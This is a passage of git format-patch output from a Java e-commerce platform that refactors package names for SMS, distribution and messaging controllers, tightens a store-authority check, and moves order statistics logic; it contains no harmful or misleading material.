b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java @@ -6,7 +6,7 @@ import cn.lili.common.vo.ResultMessage; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dto.MemberEditDTO; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.system.sms.SmsUtil; +import cn.lili.modules.sms.SmsUtil; import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; diff --git a/common-api/src/main/java/cn/lili/controller/common/SmsController.java b/common-api/src/main/java/cn/lili/controller/common/SmsController.java index 71ce02ad..d6f9e506 100644 --- a/common-api/src/main/java/cn/lili/controller/common/SmsController.java +++ b/common-api/src/main/java/cn/lili/controller/common/SmsController.java @@ -4,7 +4,7 @@ import cn.lili.cache.limit.annotation.LimitPoint; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.system.sms.SmsUtil; +import cn.lili.modules.sms.SmsUtil; import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import io.swagger.annotations.Api; diff --git a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java index e0ce866e..ccb6215a 100644 --- a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java @@ -18,7 +18,7 @@ import cn.lili.modules.message.service.MemberMessageService; import cn.lili.modules.message.service.StoreMessageService; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.service.StoreService; -import cn.lili.modules.system.sms.SmsUtil; +import cn.lili.modules.sms.SmsUtil; import cn.lili.rocketmq.tags.OtherTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java b/framework/src/main/java/cn/lili/modules/sms/AliSmsUtil.java similarity index 98% rename from framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java rename to framework/src/main/java/cn/lili/modules/sms/AliSmsUtil.java index 3d964d0a..abfab733 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/AliSmsUtil.java +++ b/framework/src/main/java/cn/lili/modules/sms/AliSmsUtil.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.sms; +package cn.lili.modules.sms; import cn.lili.modules.sms.entity.dos.SmsSign; import cn.lili.modules.sms.entity.dos.SmsTemplate; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java b/framework/src/main/java/cn/lili/modules/sms/SmsUtil.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java rename to framework/src/main/java/cn/lili/modules/sms/SmsUtil.java index 55b992df..fbafeb10 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/SmsUtil.java +++ b/framework/src/main/java/cn/lili/modules/sms/SmsUtil.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.sms; +package cn.lili.modules.sms; import cn.lili.modules.verification.entity.enums.VerificationEnums; diff --git a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java b/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java similarity index 99% rename from framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java rename to framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java index 5b48a1e4..303308b7 100644 --- a/framework/src/main/java/cn/lili/modules/system/sms/impl/SmsUtilAliImplService.java +++ b/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java @@ -1,4 +1,4 @@ -package cn.lili.modules.system.sms.impl; +package cn.lili.modules.sms.impl; import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONUtil; @@ -7,8 +7,8 @@ import cn.lili.cache.CachePrefix; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.security.context.UserContext; -import cn.lili.modules.system.sms.AliSmsUtil; -import cn.lili.modules.system.sms.SmsUtil; +import cn.lili.modules.sms.AliSmsUtil; +import cn.lili.modules.sms.SmsUtil; import cn.lili.common.utils.CommonUtil; import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.common.properties.SmsTemplateProperties; diff --git a/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java index 85e48518..32f826a4 100644 --- a/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java @@ -2,7 +2,7 @@ package cn.lili.modules.sms.serviceimpl; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.modules.system.sms.AliSmsUtil; +import cn.lili.modules.sms.AliSmsUtil; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.sms.entity.dos.SmsSign; diff --git a/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java index b9bbfe35..5c7db574 100644 --- a/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/sms/serviceimpl/SmsTemplateServiceImpl.java @@ -1,6 +1,6 @@ package cn.lili.modules.sms.serviceimpl; -import cn.lili.modules.system.sms.AliSmsUtil; +import cn.lili.modules.sms.AliSmsUtil; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.sms.entity.dos.SmsTemplate; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/ServiceNoticeManagerController.java b/manager-api/src/main/java/cn/lili/controller/message/ServiceNoticeManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/ServiceNoticeManagerController.java rename to manager-api/src/main/java/cn/lili/controller/message/ServiceNoticeManagerController.java index 59e7aa15..aca1ce21 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/ServiceNoticeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/message/ServiceNoticeManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java b/manager-api/src/main/java/cn/lili/controller/sms/SmsManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java rename to manager-api/src/main/java/cn/lili/controller/sms/SmsManagerController.java index 7ce9b545..c6bc158f 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/sms/SmsManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.sms; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java b/manager-api/src/main/java/cn/lili/controller/sms/SmsSignManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java rename to manager-api/src/main/java/cn/lili/controller/sms/SmsSignManagerController.java index b7bdb8d0..de3244f7 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/sms/SmsSignManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.sms; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java b/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java rename to manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java index 3ff6a416..f9beef26 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/sms/SmsTemplateManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.sms; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java rename to manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java index cdfc2ba8..71b23778 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMPMessageManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.wechat; import cn.lili.common.enums.ResultUtil; import cn.lili.mybatis.util.PageUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMessageManageController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java rename to manager-api/src/main/java/cn/lili/controller/wechat/WechatMessageManageController.java index e36872e2..fe6c714e 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java +++ b/manager-api/src/main/java/cn/lili/controller/wechat/WechatMessageManageController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.setting; +package cn.lili.controller.wechat; import cn.lili.common.enums.ResultUtil; import cn.lili.mybatis.util.PageUtil; From d8da258898b8aece13190c2a9951486368ff7920 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 7 Dec 2021 09:00:59 +0800 Subject: [PATCH 049/145] =?UTF-8?q?=E5=88=86=E9=94=80=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E6=8B=86=E7=A6=BB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../distribution/DistributionBuyerController.java | 2 +- .../DistributionCashBuyerController.java | 2 +- .../DistributionGoodsBuyerController.java | 2 +- .../DistributionOrderBuyerController.java | 2 +- .../modules/goods/serviceimpl/GoodsServiceImpl.java | 12 ++++-------- .../goods/serviceimpl/GoodsSkuServiceImpl.java | 1 + .../DistributionCashManagerController.java | 2 +- .../DistributionGoodsManagerController.java | 3 +-- .../distribution/DistributionManagerController.java | 2 +- .../DistributionOrderManagerController.java | 2 +- .../DistributionGoodsStoreController.java | 2 +- .../DistributionOrderStoreController.java | 2 +- 12 files changed, 15 insertions(+), 19 deletions(-) rename buyer-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionBuyerController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionCashBuyerController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionGoodsBuyerController.java (98%) rename buyer-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionOrderBuyerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionCashManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionGoodsManagerController.java (94%) rename manager-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionOrderManagerController.java (97%) rename seller-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionGoodsStoreController.java (98%) rename seller-api/src/main/java/cn/lili/controller/{other => }/distribution/DistributionOrderStoreController.java (97%) diff --git a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/distribution/DistributionBuyerController.java index 68a87488..dc3567dc 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java index d27ee742..4b6d310e 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionCashBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; diff --git a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java index b2e68fa1..e4497dc9 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; diff --git a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionOrderBuyerController.java similarity index 97% rename from buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/distribution/DistributionOrderBuyerController.java index 4ed20e94..4c7c3ddd 100644 --- a/buyer-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/distribution/DistributionOrderBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 265694ad..453dc36a 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -1,7 +1,5 @@ package cn.lili.modules.goods.serviceimpl; -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.util.NumberUtil; import cn.hutool.json.JSONUtil; @@ -16,7 +14,6 @@ import cn.lili.common.security.enums.UserEnums; import cn.lili.modules.goods.entity.dos.Category; import cn.lili.modules.goods.entity.dos.Goods; import cn.lili.modules.goods.entity.dos.GoodsGallery; -import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsOperationDTO; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; import cn.lili.modules.goods.entity.dto.GoodsSearchParams; @@ -27,7 +24,6 @@ import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.mapper.GoodsMapper; import cn.lili.modules.goods.service.*; import cn.lili.modules.member.entity.dos.MemberEvaluation; -import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.store.entity.dos.FreightTemplate; @@ -477,12 +473,12 @@ public class GoodsServiceImpl extends ServiceImpl implements */ private AuthUser checkStoreAuthority() { AuthUser currentUser = UserContext.getCurrentUser(); - if (currentUser == null || (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() == null)) { - throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); - } else if (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null) { + //如果当前会员不为空,且为店铺角色 + if (currentUser != null && (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null)) { return currentUser; + } else { + throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); } - return null; } /** diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b6c8fc5a..663c686f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -491,6 +491,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i * * @param goods 商品信息 */ + @Override public void generateEs(Goods goods) { String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); //发送mq消息 diff --git a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashManagerController.java rename to manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java index 67838270..ef0fde1c 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionCashManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionCashManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsManagerController.java similarity index 94% rename from manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsManagerController.java rename to manager-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsManagerController.java index 59968852..a4182635 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsManagerController.java @@ -1,6 +1,5 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; -import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.distribution.entity.dto.DistributionGoodsSearchParams; diff --git a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionManagerController.java rename to manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java index bbb98c1b..a6764dff 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; diff --git a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderManagerController.java b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionOrderManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderManagerController.java rename to manager-api/src/main/java/cn/lili/controller/distribution/DistributionOrderManagerController.java index ae1c3d8f..acbbdb24 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/distribution/DistributionOrderManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsStoreController.java b/seller-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsStoreController.java similarity index 98% rename from seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsStoreController.java rename to seller-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsStoreController.java index 2dfb6d5d..20d14c27 100644 --- a/seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionGoodsStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/distribution/DistributionGoodsStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderStoreController.java b/seller-api/src/main/java/cn/lili/controller/distribution/DistributionOrderStoreController.java similarity index 97% rename from seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderStoreController.java rename to seller-api/src/main/java/cn/lili/controller/distribution/DistributionOrderStoreController.java index ab18fba4..21ac76b8 100644 --- a/seller-api/src/main/java/cn/lili/controller/other/distribution/DistributionOrderStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/distribution/DistributionOrderStoreController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.other.distribution; +package cn.lili.controller.distribution; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; From 343e5e332c198f0a6fa1da6d15559382eb66eda6 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 7 Dec 2021 18:15:18 +0800 Subject: [PATCH 050/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E9=A6=96=E9=A1=B5?= =?UTF-8?q?=E7=BB=9F=E8=AE=A1bug=E4=BB=A3=E7=A0=81=E4=BF=AE=E5=A4=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../statistics/service/OrderStatisticsService.java | 7 ------- .../serviceimpl/IndexStatisticsServiceImpl.java | 2 +- .../serviceimpl/OrderStatisticsServiceImpl.java | 10 ---------- 3 files changed, 1 insertion(+), 18 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java index 37752dc8..8308c00a 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/OrderStatisticsService.java @@ -28,13 +28,6 @@ public interface OrderStatisticsService extends IService { */ OrderOverviewVO overview(StatisticsQueryParam statisticsQueryParam); - /** - * 查询订单统计金额 - * - * @return 订单统计 - */ - Map getStoreOrderStatisticsPrice(); - /** * 获取订单总数量 * diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java index 82b953c2..fa5a7fae 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/IndexStatisticsServiceImpl.java @@ -183,7 +183,7 @@ public class IndexStatisticsServiceImpl implements IndexStatisticsService { //商品总数量 storeIndexStatisticsVO.setGoodsNum(goodsStatisticsService.goodsNum(GoodsStatusEnum.UPPER, null)); //订单总数量、订单总金额 - Map map = orderStatisticsService.getStoreOrderStatisticsPrice(); + Map map = storeFlowStatisticsService.getOrderStatisticsPrice(); storeIndexStatisticsVO.setOrderNum(Convert.toInt(map.get("num").toString())); storeIndexStatisticsVO.setOrderPrice(map.get("price") != null ? Double.parseDouble(map.get("price").toString()) : 0.0); diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java index c01f1b58..8076928f 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/OrderStatisticsServiceImpl.java @@ -94,16 +94,6 @@ public class OrderStatisticsServiceImpl extends ServiceImpl getStoreOrderStatisticsPrice() { - QueryWrapper queryWrapper = new QueryWrapper(); - queryWrapper.eq(StringUtils.equals(UserContext.getCurrentUser().getRole().name(), UserEnums.STORE.name()), - "store_id", UserContext.getCurrentUser().getStoreId()); - queryWrapper.select("SUM(final_price) AS price , COUNT(0) AS num"); - return this.getMap(queryWrapper); - } - - @Override public Integer orderNum(String orderStatus) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper(); From 9ec3322574d0555f5ea01cf559abb720d71c884d Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 8 Dec 2021 09:50:19 +0800 Subject: [PATCH 051/145] =?UTF-8?q?=E5=95=86=E5=93=81=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E4=B8=8E=E5=BA=97=E9=93=BA=E6=A8=A1=E5=9D=97=E4=BA=A4=E6=8E=A5?= =?UTF-8?q?=E5=A4=84=E4=BB=A5query=20wrapper=E8=A1=94=E6=8E=A5=E5=AD=98?= =?UTF-8?q?=E5=9C=A8=E9=97=AE=E9=A2=98=EF=BC=8C=E6=94=B9=E7=94=A8=E6=99=AE?= =?UTF-8?q?=E9=80=9A=E5=8F=82=E6=95=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../goods/entity/dto/SimpleCommodity.java | 18 ------------------ .../modules/goods/service/GoodsService.java | 6 +++++- .../goods/serviceimpl/GoodsServiceImpl.java | 9 +++++++++ .../store/serviceimpl/StoreServiceImpl.java | 11 +---------- 4 files changed, 15 insertions(+), 29 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/modules/goods/entity/dto/SimpleCommodity.java diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dto/SimpleCommodity.java b/framework/src/main/java/cn/lili/modules/goods/entity/dto/SimpleCommodity.java deleted file mode 100644 index 50813010..00000000 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dto/SimpleCommodity.java +++ /dev/null @@ -1,18 +0,0 @@ -package cn.lili.modules.goods.entity.dto; - -import io.swagger.annotations.ApiModelProperty; - -/** - * 用于直播间前台使用的直播间商品DTO - * - * @author Bulbasaur - * @since 2021/5/20 2:34 下午 - */ -public class SimpleCommodity { - - @ApiModelProperty(value = "图片") - private String goodsImage; - - @ApiModelProperty(value = "商品名称") - private String name; -} diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index 2171812e..f517d5db 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -6,7 +6,6 @@ import cn.lili.modules.goods.entity.dto.GoodsSearchParams; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.vos.GoodsVO; -import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.store.entity.dos.Store; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; @@ -141,5 +140,10 @@ public interface GoodsService extends IService { * @param store */ void updateStoreDetail(Store store); + /** + * 统计店铺的商品数量 + * @param storeId 店铺id + */ + Integer countStoreGoodsNum(String storeId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 453dc36a..c43a0162 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -379,6 +379,15 @@ public class GoodsServiceImpl extends ServiceImpl implements goodsSkuService.update(updateWrapper); } + @Override + public Integer countStoreGoodsNum(String storeId) { + return this.count( + new LambdaQueryWrapper() + .eq(Goods::getStoreId, storeId) + .eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()) + .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); + } + /** * 添加商品默认图片 * diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index 9a5d1008..85adaf58 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -1,7 +1,6 @@ package cn.lili.modules.store.serviceimpl; import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; @@ -9,15 +8,10 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import 